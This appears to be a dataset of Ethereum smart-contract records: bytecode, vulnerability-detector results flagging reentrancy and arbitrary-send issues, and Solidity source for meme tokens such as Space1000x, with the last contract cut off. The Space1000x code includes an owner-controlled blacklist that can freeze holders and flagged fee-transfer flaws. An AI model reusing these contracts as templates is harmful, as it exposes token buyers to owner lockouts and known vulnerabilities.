90506000611a3682611a308b86611947565b90611947565b9992985090965090945050505050565b6000808080611a558886611500565b90506000611a638887611500565b90506000611a718888611500565b90506000611a8382611a308686611947565b939b939a50919850919650505050505050565b600060208284031215611aa7578081fd5b813561135481611da3565b600060208284031215611ac3578081fd5b815161135481611da3565b60008060408385031215611ae0578081fd5b8235611aeb81611da3565b91506020830135611afb81611da3565b809150509250929050565b600080600060608486031215611b1a578081fd5b8335611b2581611da3565b92506020840135611b3581611da3565b929592945050506040919091013590565b60008060408385031215611b58578182fd5b8235611b6381611da3565b946020939093013593505050565b600060208284031215611b82578081fd5b813561135481611db8565b600060208284031215611b9e578081fd5b815161135481611db8565b600060208284031215611bba578081fd5b5035919050565b600080600060608486031215611bd5578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c1a57858101830151858201604001528201611bfe565b81811115611c2b5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cc55784516001600160a01b031683529383019391830191600101611ca0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf957611cf9611d77565b500190565b600082611d0d57611d0d611d8d565b500490565b6000816000190483118215151615611d2c57611d2c611d77565b500290565b600082821015611d4357611d43611d77565b500390565b6000600019821415611d5c57611d5c611d77565b5060010190565b600082611d7257611d72611d8d565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461063657600080fd5b801515811461063657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f0cdb4cc5834b3d8a69f639e02a957f931dcb52d97a2f18846cf85c937767e9664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,274 |
0x5ED82285bb2996B2576F5F1B62b78Bc8cFDc1264
|
/**
*Submitted for verification at Etherscan.io on 2021-10-24
*/
/*
SPDX-License-Identifier: None
Telegram: t.me/Space1000x
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Space1000x is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Space1000x";
string private constant _symbol = "$PACE";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable feeAddress, address payable marketingWalletAddress) {
_feeAddress = feeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[feeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 4;
_teamFee = 6;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 4;
_teamFee = 6;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5e10 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f2578063c3c8cd8014610312578063c9567bf914610327578063d543dbeb1461033c578063dd62ed3e1461035c57600080fd5b8063715018a6146102675780638da5cb5b1461027c57806395d89b41146102a4578063a9059cbb146102d257600080fd5b8063273123b7116100dc578063273123b7146101d4578063313ce567146101f65780635932ead1146102125780636fc3eaec1461023257806370a082311461024757600080fd5b806306fdde0314610119578063095ea7b31461015e57806318160ddd1461018e57806323b872dd146101b457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a8152690a6e0c2c6ca62606060f60b31b60208201525b604051610155919061172d565b60405180910390f35b34801561016a57600080fd5b5061017e6101793660046117a7565b6103a2565b6040519015158152602001610155565b34801561019a57600080fd5b50683635c9adc5dea000005b604051908152602001610155565b3480156101c057600080fd5b5061017e6101cf3660046117d3565b6103b9565b3480156101e057600080fd5b506101f46101ef366004611814565b610422565b005b34801561020257600080fd5b5060405160098152602001610155565b34801561021e57600080fd5b506101f461022d36600461183f565b610476565b34801561023e57600080fd5b506101f46104be565b34801561025357600080fd5b506101a6610262366004611814565b6104eb565b34801561027357600080fd5b506101f461050d565b34801561028857600080fd5b506000546040516001600160a01b039091168152602001610155565b3480156102b057600080fd5b50604080518082019091526005815264245041434560d81b6020820152610148565b3480156102de57600080fd5b5061017e6102ed3660046117a7565b610581565b3480156102fe57600080fd5b506101f461030d366004611872565b61058e565b34801561031e57600080fd5b506101f4610624565b34801561033357600080fd5b506101f461065a565b34801561034857600080fd5b506101f4610357366004611937565b610a1e565b34801561036857600080fd5b506101a6610377366004611950565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103af338484610af1565b5060015b92915050565b60006103c6848484610c15565b610418843361041385604051806060016040528060288152602001611b4f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610faf565b610af1565b5060019392505050565b6000546001600160a01b031633146104555760405162461bcd60e51b815260040161044c90611989565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104a05760405162461bcd60e51b815260040161044c90611989565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104de57600080fd5b476104e881610fe9565b50565b6001600160a01b0381166000908152600260205260408120546103b39061106e565b6000546001600160a01b031633146105375760405162461bcd60e51b815260040161044c90611989565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103af338484610c15565b6000546001600160a01b031633146105b85760405162461bcd60e51b815260040161044c90611989565b60005b8151811015610620576001600660008484815181106105dc576105dc6119be565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610618816119ea565b9150506105bb565b5050565b600e546001600160a01b0316336001600160a01b03161461064457600080fd5b600061064f306104eb565b90506104e8816110f2565b6000546001600160a01b031633146106845760405162461bcd60e51b815260040161044c90611989565b601154600160a01b900460ff16156106de5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044c565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071b3082683635c9adc5dea00000610af1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075457600080fd5b505afa158015610768573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078c9190611a05565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d457600080fd5b505afa1580156107e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080c9190611a05565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561085457600080fd5b505af1158015610868573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088c9190611a05565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306108bc816104eb565b6000806108d16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561093457600080fd5b505af1158015610948573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096d9190611a22565b5050601180546802b5e3af16b188000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109e657600080fd5b505af11580156109fa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106209190611a50565b6000546001600160a01b03163314610a485760405162461bcd60e51b815260040161044c90611989565b60008111610a985760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161044c565b610ab66064610ab0683635c9adc5dea000008461127b565b906112fa565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b535760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044c565b6001600160a01b038216610bb45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c795760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044c565b6001600160a01b038216610cdb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044c565b60008111610d3d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044c565b6004600a556006600b556000546001600160a01b03848116911614801590610d7357506000546001600160a01b03838116911614155b15610f52576001600160a01b03831660009081526006602052604090205460ff16158015610dba57506001600160a01b03821660009081526006602052604090205460ff16155b610dc357600080fd5b6011546001600160a01b038481169116148015610dee57506010546001600160a01b03838116911614155b8015610e1357506001600160a01b03821660009081526005602052604090205460ff16155b8015610e285750601154600160b81b900460ff165b15610e8557601254811115610e3c57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6057600080fd5b610e6b42601e611a6d565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610eb057506010546001600160a01b03848116911614155b8015610ed557506001600160a01b03831660009081526005602052604090205460ff16155b15610ee5576004600a556006600b555b6000610ef0306104eb565b601154909150600160a81b900460ff16158015610f1b57506011546001600160a01b03858116911614155b8015610f305750601154600160b01b900460ff165b15610f5057610f3e816110f2565b478015610f4e57610f4e47610fe9565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f9457506001600160a01b03831660009081526005602052604090205460ff165b15610f9d575060005b610fa98484848461133c565b50505050565b60008184841115610fd35760405162461bcd60e51b815260040161044c919061172d565b506000610fe08486611a85565b95945050505050565b600e546001600160a01b03166108fc6110038360026112fa565b6040518115909202916000818181858888f1935050505015801561102b573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6110468360026112fa565b6040518115909202916000818181858888f19350505050158015610620573d6000803e3d6000fd5b60006008548211156110d55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044c565b60006110df61136a565b90506110eb83826112fa565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113a5761113a6119be565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118e57600080fd5b505afa1580156111a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c69190611a05565b816001815181106111d9576111d96119be565b6001600160a01b0392831660209182029290920101526010546111ff9130911684610af1565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611238908590600090869030904290600401611a9c565b600060405180830381600087803b15801561125257600080fd5b505af1158015611266573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60008261128a575060006103b3565b60006112968385611b0d565b9050826112a38583611b2c565b146110eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044c565b60006110eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061138d565b80611349576113496113bb565b6113548484846113e9565b80610fa957610fa9600c54600a55600d54600b55565b60008060006113776114e0565b909250905061138682826112fa565b9250505090565b600081836113ae5760405162461bcd60e51b815260040161044c919061172d565b506000610fe08486611b2c565b600a541580156113cb5750600b54155b156113d257565b600a8054600c55600b8054600d5560009182905555565b6000806000806000806113fb87611522565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061142d908761157f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461145c90866115c1565b6001600160a01b03891660009081526002602052604090205561147e81611620565b611488848361166a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114cd91815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea000006114fc82826112fa565b82101561151957505060085492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061153f8a600a54600b5461168e565b925092509250600061154f61136a565b905060008060006115628e8787876116dd565b919e509c509a509598509396509194505050505091939550919395565b60006110eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610faf565b6000806115ce8385611a6d565b9050838110156110eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044c565b600061162a61136a565b90506000611638838361127b565b3060009081526002602052604090205490915061165590826115c1565b30600090815260026020526040902055505050565b600854611677908361157f565b60085560095461168790826115c1565b6009555050565b60008080806116a26064610ab0898961127b565b905060006116b56064610ab08a8961127b565b905060006116cd826116c78b8661157f565b9061157f565b9992985090965090945050505050565b60008080806116ec888661127b565b905060006116fa888761127b565b90506000611708888861127b565b9050600061171a826116c7868661157f565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561175a5785810183015185820160400152820161173e565b8181111561176c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e857600080fd5b80356117a281611782565b919050565b600080604083850312156117ba57600080fd5b82356117c581611782565b946020939093013593505050565b6000806000606084860312156117e857600080fd5b83356117f381611782565b9250602084013561180381611782565b929592945050506040919091013590565b60006020828403121561182657600080fd5b81356110eb81611782565b80151581146104e857600080fd5b60006020828403121561185157600080fd5b81356110eb81611831565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561188557600080fd5b823567ffffffffffffffff8082111561189d57600080fd5b818501915085601f8301126118b157600080fd5b8135818111156118c3576118c361185c565b8060051b604051601f19603f830116810181811085821117156118e8576118e861185c565b60405291825284820192508381018501918883111561190657600080fd5b938501935b8285101561192b5761191c85611797565b8452938501939285019261190b565b98975050505050505050565b60006020828403121561194957600080fd5b5035919050565b6000806040838503121561196357600080fd5b823561196e81611782565b9150602083013561197e81611782565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119fe576119fe6119d4565b5060010190565b600060208284031215611a1757600080fd5b81516110eb81611782565b600080600060608486031215611a3757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a6257600080fd5b81516110eb81611831565b60008219821115611a8057611a806119d4565b500190565b600082821015611a9757611a976119d4565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611aec5784516001600160a01b031683529383019391830191600101611ac7565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611b2757611b276119d4565b500290565b600082611b4957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a1ad94092a52499c5d07f342222162cb0eca3e53d5108be78291314702106eb164736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,275 |
0xbca5e6d8d79ac7944dd18bd06ce7a453c6b110c3
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SuperbowlInuLVI is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Superbowl Inu LVI";
string private constant _symbol = "$UPERBOWL";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnBuy = 11;
uint256 private _taxFeeOnSell = 11;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _marketingAddress = payable(0xB6E60c4D704b6996e31556D1b10f27ab8eFf4Ced);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
